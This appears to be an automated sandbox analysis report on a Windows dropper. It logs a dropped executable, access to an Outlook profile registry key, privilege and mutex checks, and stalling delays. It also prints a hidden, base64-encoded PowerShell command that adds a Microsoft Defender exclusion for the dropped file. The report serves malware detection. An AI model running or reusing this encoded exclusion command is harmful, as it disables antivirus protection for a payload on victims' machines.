Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: Next
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: Accept
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: Next
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: Accept
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: Next
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: Accept
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: Next
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: Accept
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: Next
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: Accept
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: Next
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: OK
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: Accept
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: Next
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: OK
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Automated click: Accept

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 9RM52QaURq.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 9RM52QaURq.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: 9RM52QaURq.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\outgl\source\repos\Installer_sharp\obj\Release\Installer_sharp.pdb source: 9RM52QaURq.exe
Source:	Binary string: C:\Users\outgl\source\repos\Installer_sharp\obj\Release\Installer_sharp.pdb8 source: 9RM52QaURq.exe

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA			Jump to behavior

Source: 9RM52QaURq.exe

Static PE information: 0xB9F2BE74 [Fri Nov 9 13:30:28 2068 UTC]

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFB8B820 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

8_2_00000218BFB8B820

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Code function: 0_2_0735947F pushfd ; retf	0_2_07359485
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_04A56678 push esp; retf	5_2_04A56691
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_04A55DDA push esp; ret	5_2_04A55DE3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_04A51D73 pushad ; iretd	5_2_04A51DF2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_04A51E03 pushad ; iretd	5_2_04A51E12
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_04A51E13 pushad ; iretd	5_2_04A51E22
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBCE89C push rbx; iretd	8_2_00000218BFBCE89D
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBCE874 push rbx; iretd	8_2_00000218BFBCE875
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA11E600 push rcx; iretd	8_2_00007FF7AA11E601

Source: C:\Users\user\Desktop\9RM52QaURq.exe

File created: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFBC6480 ExitProcess,OpenMutexA,ExitProcess,CreateMutexA,CreateMutexExA,ExitProcess,ReleaseMutex,CloseHandle,

8_2_00000218BFBC6480

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Memory allocated: 1110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Memory allocated: 2A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Memory allocated: 4A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Memory allocated: 7690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Memory allocated: 33690000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Window / User API: threadDelayed 4643	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Window / User API: threadDelayed 5267	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5641	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4209	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_8-80008

Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -99641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -99516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -99406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -99188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -99063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe TID: 2008	Thread sleep time: -98938s >= -30000s	Jump to behavior
